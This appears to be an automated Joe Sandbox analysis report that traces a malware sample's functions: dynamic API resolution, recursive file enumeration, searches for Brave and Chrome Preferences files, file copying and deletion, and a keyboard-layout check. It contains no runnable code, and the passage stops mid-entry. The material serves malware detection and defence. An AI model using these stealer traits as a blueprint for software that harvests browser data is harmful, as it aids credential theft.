Opcode ID: 04f6ee789b505997752eb571ba1a65ce1cfe4114f9eed2eedc4bc7353e0eec1a
Instruction ID: 7fe86c0b51b5d17a1e1b5bd49f87bcc7897432b59a77616d6f2c9aeeff85763a
Opcode Fuzzy Hash: 04f6ee789b505997752eb571ba1a65ce1cfe4114f9eed2eedc4bc7353e0eec1a
Instruction Fuzzy Hash: 6BF0A4788001148BC720CB95D9497AD3B70AB45339F140359E92C4A6E2C7FE5DD5CB49

Uniqueness

Uniqueness Score: -1.00%

Function 02E1ABF4 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?), ref: 02E1AC8A
GetLastError.KERNEL32 ref: 02E1AC98
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 02E1ACF3

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: f3b67ae088745d3e88e41ebd0afa853c8437e6a2fd2a28af35e2974b5d6f0327
Instruction ID: 617e990a70d8817493a0a8b0b13ae4476275143da9a83d23597d457fc8e73d31
Opcode Fuzzy Hash: f3b67ae088745d3e88e41ebd0afa853c8437e6a2fd2a28af35e2974b5d6f0327
Instruction Fuzzy Hash: AC41E371682646AFCF219F64C844BBA7BB6AF0231DF14D179F869973A1DB308901CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0041A98D Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?), ref: 0041AA23
GetLastError.KERNEL32 ref: 0041AA31
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000), ref: 0041AA8C

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: db7e8d26bad2576a638279ba5013496c9d35272d80818d0adaa86beed78e34d2
Instruction ID: 2649a316d21f71249137d0f974271bd686954a5e3be7454cfff38f0311d884e6
Opcode Fuzzy Hash: db7e8d26bad2576a638279ba5013496c9d35272d80818d0adaa86beed78e34d2
Instruction Fuzzy Hash: FE412931602202AFDF218FA9C984BFF7BA4EF01354F15416BF855A7291DB348DA1C79A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: u5e0.0.exePID: 7156, Parent PID: 6984COMMON

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	41

Executed Functions

Function 00416240 Relevance: 165.7, APIs: 110, Instructions: 674
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,041D7C58), ref: 0041625D
GetProcAddress.KERNEL32(74DD0000,041D7BB8), ref: 00416275
GetProcAddress.KERNEL32(74DD0000,041F2600), ref: 0041628E
GetProcAddress.KERNEL32(74DD0000,041F25B8), ref: 004162A6
GetProcAddress.KERNEL32(74DD0000,041F25D0), ref: 004162BE
GetProcAddress.KERNEL32(74DD0000,041F6348), ref: 004162D7
GetProcAddress.KERNEL32(74DD0000,041D7700), ref: 004162EF
GetProcAddress.KERNEL32(74DD0000,041F65A0), ref: 00416307
GetProcAddress.KERNEL32(74DD0000,041F6498), ref: 00416320
GetProcAddress.KERNEL32(74DD0000,041F6360), ref: 00416338
GetProcAddress.KERNEL32(74DD0000,041F6528), ref: 00416350
GetProcAddress.KERNEL32(74DD0000,041D7CF8), ref: 00416369
GetProcAddress.KERNEL32(74DD0000,041D7D58), ref: 00416381
GetProcAddress.KERNEL32(74DD0000,041D7C18), ref: 00416399
GetProcAddress.KERNEL32(74DD0000,041D7AD8), ref: 004163B2
GetProcAddress.KERNEL32(74DD0000,041F6378), ref: 004163CA
GetProcAddress.KERNEL32(74DD0000,041F65B8), ref: 004163E2
GetProcAddress.KERNEL32(74DD0000,041D7638), ref: 004163FB
GetProcAddress.KERNEL32(74DD0000,041D7A98), ref: 00416413
GetProcAddress.KERNEL32(74DD0000,041F6420), ref: 0041642B
GetProcAddress.KERNEL32(74DD0000,041F6468), ref: 00416444
GetProcAddress.KERNEL32(74DD0000,041F6450), ref: 0041645C
GetProcAddress.KERNEL32(74DD0000,041F65D0), ref: 00416474
GetProcAddress.KERNEL32(74DD0000,041D7E38), ref: 0041648D
GetProcAddress.KERNEL32(74DD0000,041F64C8), ref: 004164A5
GetProcAddress.KERNEL32(74DD0000,041F6480), ref: 004164BD
GetProcAddress.KERNEL32(74DD0000,041F6540), ref: 004164D6
GetProcAddress.KERNEL32(74DD0000,041F6330), ref: 004164EE
GetProcAddress.KERNEL32(74DD0000,041F63A8), ref: 00416506
GetProcAddress.KERNEL32(74DD0000,041F6618), ref: 0041651F
GetProcAddress.KERNEL32(74DD0000,041F64E0), ref: 00416537
GetProcAddress.KERNEL32(74DD0000,041F6390), ref: 0041654F
GetProcAddress.KERNEL32(74DD0000,041F6558), ref: 00416568
GetProcAddress.KERNEL32(74DD0000,041D25C0), ref: 00416580
GetProcAddress.KERNEL32(74DD0000,041F63D8), ref: 00416598
GetProcAddress.KERNEL32(74DD0000,041F65E8), ref: 004165B1
GetProcAddress.KERNEL32(74DD0000,041D7DD8), ref: 004165C9
GetProcAddress.KERNEL32(74DD0000,041F63C0), ref: 004165E1
GetProcAddress.KERNEL32(74DD0000,041D7DF8), ref: 004165FA
GetProcAddress.KERNEL32(74DD0000,041F6570), ref: 00416612
GetProcAddress.KERNEL32(74DD0000,041F64B0), ref: 0041662A
GetProcAddress.KERNEL32(74DD0000,041D7D78), ref: 00416643
GetProcAddress.KERNEL32(74DD0000,041D7B78), ref: 0041665B
LoadLibraryA.KERNEL32(041F64F8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041666D
LoadLibraryA.KERNEL32(041F63F0,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041667E
LoadLibraryA.KERNEL32(041F6438,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 00416690
LoadLibraryA.KERNEL32(041F6408,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166A2
LoadLibraryA.KERNEL32(041F6510,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166B3
LoadLibraryA.KERNEL32(041F6588,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166C5
LoadLibraryA.KERNEL32(041F6600,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166D7
LoadLibraryA.KERNEL32(041F66F0,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166E8
GetProcAddress.KERNEL32(75290000,041D7AB8), ref: 0041670A
GetProcAddress.KERNEL32(75290000,041F66A8), ref: 00416722
GetProcAddress.KERNEL32(75290000,041F3480), ref: 0041673A
GetProcAddress.KERNEL32(75290000,041F6648), ref: 00416753
GetProcAddress.KERNEL32(75290000,041D7A78), ref: 0041676B
GetProcAddress.KERNEL32(73440000,041D74F8), ref: 00416790
GetProcAddress.KERNEL32(73440000,041D7C38), ref: 004167A9
GetProcAddress.KERNEL32(73440000,041D7340), ref: 004167C1
GetProcAddress.KERNEL32(73440000,041F6630), ref: 004167D9
GetProcAddress.KERNEL32(73440000,041F6660), ref: 004167F2
GetProcAddress.KERNEL32(73440000,041D7BD8), ref: 0041680A
GetProcAddress.KERNEL32(73440000,041D7B18), ref: 00416822
GetProcAddress.KERNEL32(73440000,041F66C0), ref: 0041683B
GetProcAddress.KERNEL32(752C0000,041D7D18), ref: 0041685C
GetProcAddress.KERNEL32(752C0000,041D7DB8), ref: 00416874
GetProcAddress.KERNEL32(752C0000,041F6678), ref: 0041688D
GetProcAddress.KERNEL32(752C0000,041F6690), ref: 004168A5
GetProcAddress.KERNEL32(752C0000,041D7B38), ref: 004168BD
GetProcAddress.KERNEL32(74EC0000,041D7548), ref: 004168E3
GetProcAddress.KERNEL32(74EC0000,041D7368), ref: 004168FB
GetProcAddress.KERNEL32(74EC0000,041F66D8), ref: 00416913
GetProcAddress.KERNEL32(74EC0000,041D7D38), ref: 0041692C
GetProcAddress.KERNEL32(74EC0000,041D7B58), ref: 00416944
GetProcAddress.KERNEL32(74EC0000,041D7570), ref: 0041695C
GetProcAddress.KERNEL32(75BD0000,041F6990), ref: 00416982
GetProcAddress.KERNEL32(75BD0000,041D7BF8), ref: 0041699A
GetProcAddress.KERNEL32(75BD0000,041F34E0), ref: 004169B2
GetProcAddress.KERNEL32(75BD0000,041F6A20), ref: 004169CB
GetProcAddress.KERNEL32(75BD0000,041F68A0), ref: 004169E3
GetProcAddress.KERNEL32(75BD0000,041D7D98), ref: 004169FB
GetProcAddress.KERNEL32(75BD0000,041D7C78), ref: 00416A14
GetProcAddress.KERNEL32(75BD0000,041F69A8), ref: 00416A2C
GetProcAddress.KERNEL32(75BD0000,041F6930), ref: 00416A44
GetProcAddress.KERNEL32(75A70000,041D7B98), ref: 00416A66
GetProcAddress.KERNEL32(75A70000,041F68E8), ref: 00416A7E
GetProcAddress.KERNEL32(75A70000,041F67F8), ref: 00416A96
GetProcAddress.KERNEL32(75A70000,041F6750), ref: 00416AAF
GetProcAddress.KERNEL32(75A70000,041F69F0), ref: 00416AC7
GetProcAddress.KERNEL32(75450000,041D7E18), ref: 00416AE8
GetProcAddress.KERNEL32(75450000,041D7C98), ref: 00416B01
GetProcAddress.KERNEL32(75DA0000,041D7CB8), ref: 00416B22
GetProcAddress.KERNEL32(75DA0000,041F6948), ref: 00416B3A
GetProcAddress.KERNEL32(6F090000,041D7A58), ref: 00416B60
GetProcAddress.KERNEL32(6F090000,041D7CD8), ref: 00416B78
GetProcAddress.KERNEL32(6F090000,041F7A80), ref: 00416B90
GetProcAddress.KERNEL32(6F090000,041F69C0), ref: 00416BA9
GetProcAddress.KERNEL32(6F090000,041F79E0), ref: 00416BC1
GetProcAddress.KERNEL32(6F090000,041F79C0), ref: 00416BD9
GetProcAddress.KERNEL32(6F090000,041F7780), ref: 00416BF2
GetProcAddress.KERNEL32(6F090000,041F7860), ref: 00416C0A
GetProcAddress.KERNEL32(75AF0000,041F6870), ref: 00416C2B
GetProcAddress.KERNEL32(75AF0000,041F34A0), ref: 00416C44
GetProcAddress.KERNEL32(75AF0000,041F69D8), ref: 00416C5C
GetProcAddress.KERNEL32(75AF0000,041F6738), ref: 00416C74
GetProcAddress.KERNEL32(75D90000,041F7980), ref: 00416C96
GetProcAddress.KERNEL32(6CBC0000,041F6A08), ref: 00416CB7
GetProcAddress.KERNEL32(6CBC0000,041F7A00), ref: 00416CCF
GetProcAddress.KERNEL32(6CBC0000,041F6768), ref: 00416CE8
GetProcAddress.KERNEL32(6CBC0000,041F6888), ref: 00416D00

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction ID: 6fdcbfc83a7e6ced85b92bf4002cf1d70b18d179e1e2f66c0d1faa926a602d30
Opcode Fuzzy Hash: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction Fuzzy Hash: 6E623EB5510E10AFC374DFA8FE88A1637ABBBCC311311A519A60AC72A4DF759483CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00411650 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 237
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411669
FindFirstFileA.KERNEL32(?,?), ref: 00411680
lstrcat.KERNEL32(?,?), ref: 004116D2
StrCmpCA.SHLWAPI(?,0041D7F8), ref: 004116E4
StrCmpCA.SHLWAPI(?,0041D7FC), ref: 004116FA
FindNextFileA.KERNELBASE(000000FF,?), ref: 00411980
FindClose.KERNEL32(000000FF), ref: 00411995

Strings

%s%s, xrefs: 00411838
%s\%s, xrefs: 00411714
%s\%s\%s, xrefs: 004117DB
%s\%s, xrefs: 004117FD
%s\*, xrefs: 0041165D

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: e24380de87f91f985b66d320dbe961f46d573dc966b27323ddd82aaccc6d65a1
Instruction ID: 56f1237c2d7c520c90c98f1ce5fb3a6d9b51b415e2d0c2f733ce4a2014328567
Opcode Fuzzy Hash: e24380de87f91f985b66d320dbe961f46d573dc966b27323ddd82aaccc6d65a1
Instruction Fuzzy Hash: AE9172B19006189BDB24EFA4DC85FEA737DBF88300F044589F61A92191DB789AC5CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 6BF935A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C01F688,00001000), ref: 6BF935D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6BF935E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6BF935FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6BF9363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6BF9369F
__aulldiv.LIBCMT ref: 6BF936E4
QueryPerformanceCounter.KERNEL32(?), ref: 6BF93773
EnterCriticalSection.KERNEL32(6C01F688), ref: 6BF9377E
LeaveCriticalSection.KERNEL32(6C01F688), ref: 6BF937BD
QueryPerformanceCounter.KERNEL32(?), ref: 6BF937C4
EnterCriticalSection.KERNEL32(6C01F688), ref: 6BF937CB
LeaveCriticalSection.KERNEL32(6C01F688), ref: 6BF93801
__aulldiv.LIBCMT ref: 6BF93883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6BF93902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6BF93918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6BF9394C

Strings

GTC, xrefs: 6BF93912
GenuntelineI, xrefs: 6BF93639
MOZ_TIMESTAMP_MODE, xrefs: 6BF935DB
AuthcAMDenti, xrefs: 6BF93946
yUbg/, xrefs: 6BF935AC
QPC, xrefs: 6BF938FC

Memory Dump Source

Source File: 00000001.00000002.2165694839.000000006BF91000.00000020.00000001.01000000.00000010.sdmp, Offset: 6BF90000, based on PE: true

Associated: 00000001.00000002.2165674576.000000006BF90000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2165760068.000000006C00D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2165783720.000000006C01E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2165806897.000000006C022000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6bf90000_u5e0.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC$yUbg/
API String ID: 301339242-2065551615
Opcode ID: 0ae007e99e1b9fc588876de06b581e6d5d285b19c4c37040cf0310925785d6b1
Instruction ID: af21a2fe9cdddfe3d62ac6c1acb1367b5c21ba76da21f60ec15c4327cfa31f7f
Opcode Fuzzy Hash: 0ae007e99e1b9fc588876de06b581e6d5d285b19c4c37040cf0310925785d6b1
Instruction Fuzzy Hash: 08B195B2B083109FDB18DFA8D45671AFBF9FB89700F05892DE599D3B60DB7499008B91

Uniqueness

Uniqueness Score: -1.00%

Function 0040B610 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,0041D71A,0041D717,00000000,?,?,?,0041DB54,0041D716), ref: 0040B695
StrCmpCA.SHLWAPI(?,0041DB58), ref: 0040B6ED
StrCmpCA.SHLWAPI(?,0041DB5C), ref: 0040B703
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040BF3B
FindClose.KERNEL32(000000FF), ref: 0040BF4D

Strings

\Brave\Preferences, xrefs: 0040B97B
Preferences, xrefs: 0040B8BE
Google Chrome, xrefs: 0040BDB9
Brave, xrefs: 0040B8A2

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 566b9f3a6f1d7abdc50b2301bb164a70b833557f1510103ad759021b71cd89c1
Instruction ID: 76d401781d3fce7c968e745dc043d6a6225f477281f2400f678919b217ba5a4c
Opcode Fuzzy Hash: 566b9f3a6f1d7abdc50b2301bb164a70b833557f1510103ad759021b71cd89c1
Instruction Fuzzy Hash: 0F423572A0010457CF14FB61DC56EEE773DAF84304F41455EF90AA6181EE38AB89CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 00412570 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00412589
FindFirstFileA.KERNEL32(?,?), ref: 004125A0
StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

%s\%s, xrefs: 004125FE
%s\%s, xrefs: 0041264F
%s\*, xrefs: 0041257D

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 3136d20d887a74a89511f914be1d743d0b7400d11fdd043764b17f3e6c3f3b96
Instruction ID: 16fd5a9597efbfb91ed0225017393bb16e0f77851f83799e5682f8bc7922baf0
Opcode Fuzzy Hash: 3136d20d887a74a89511f914be1d743d0b7400d11fdd043764b17f3e6c3f3b96
Instruction Fuzzy Hash: 676156B2900618ABCB24EBE0DD99EEA737DBF58701F00458DB61A96140EF74DB85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00411B80 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411B9D
FindFirstFileA.KERNEL32(?,?), ref: 00411BB4
StrCmpCA.SHLWAPI(?,0041D834), ref: 00411BE2
StrCmpCA.SHLWAPI(?,0041D838), ref: 00411BF8
FindNextFileA.KERNEL32(000000FF,?), ref: 00411D3D
FindClose.KERNEL32(000000FF), ref: 00411D52

Strings

%s\%s, xrefs: 00411B91

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: b27c6a61e15bbaddcdd2033fdb989414cee41de35380bbbad86ebbf1a718a96c
Instruction ID: 1beca0db89a34a7d9f561fb59a57ff38f1a0216f2a844ef05cbde65d1a44dc5a
Opcode Fuzzy Hash: b27c6a61e15bbaddcdd2033fdb989414cee41de35380bbbad86ebbf1a718a96c
Instruction Fuzzy Hash: D75168B5900618ABCB24EBB0DC85EEA737DBB48304F40458DB65A96050EB79ABC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 004015C0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 492filethreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215C4,?,00401E03,?,004215C8,?,?,00000000,?,00000000), ref: 00401813
StrCmpCA.SHLWAPI(?,004215CC), ref: 00401863
StrCmpCA.SHLWAPI(?,004215D0), ref: 00401879
SetThreadLocale.KERNEL32 ref: 00401AC2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401C30
DeleteFileA.KERNEL32(00000000), ref: 00401CB4
FindNextFileA.KERNEL32(000000FF,?), ref: 00401D0A
FindClose.KERNEL32(000000FF), ref: 00401D1C

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Strings

\*.*, xrefs: 004016E1

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstLocaleNextThreadlstrlen
String ID: \*.*
API String ID: 1950708506-1173974218
Opcode ID: f7f395177250b460b0db6d785d489f319a667289a3f79a53d58222ccd669c59b
Instruction ID: 3aa4ae790513c502dab12fd0122e5550b13815c0fff8c800b600eb4522263f51
Opcode Fuzzy Hash: f7f395177250b460b0db6d785d489f319a667289a3f79a53d58222ccd669c59b
Instruction Fuzzy Hash: D41225759102189BCB15FB61DC56EEE7739AF54308F41419EB10A62091EF38AFC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0041DC10,0041D73F), ref: 0040D22B
StrCmpCA.SHLWAPI(?,0041DC14), ref: 0040D273
StrCmpCA.SHLWAPI(?,0041DC18), ref: 0040D289
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040D4EE
FindClose.KERNEL32(000000FF), ref: 0040D500

Memory Dump Source

Source File: 00000001.00000002.2119012389.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2119012389.0000000000447000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000549000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000624000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2119012389.0000000000636000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_u5e0.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: f41b9faf97c03d21ff03c185924b8b342649efa7cdb05378454d2323efcabeab
Instruction ID: a7e743a2a4f5118c59e4eb5b7e6cabc454f6fbff0e67e47d23a58287cf68124a
Opcode Fuzzy Hash: f41b9faf97c03d21ff03c185924b8b342649efa7cdb05378454d2323efcabeab
Instruction Fuzzy Hash: 63913B72A0020497CB14FFB1EC569EE777DAB84308F41466EF90A96581EE38D788CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00414570 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
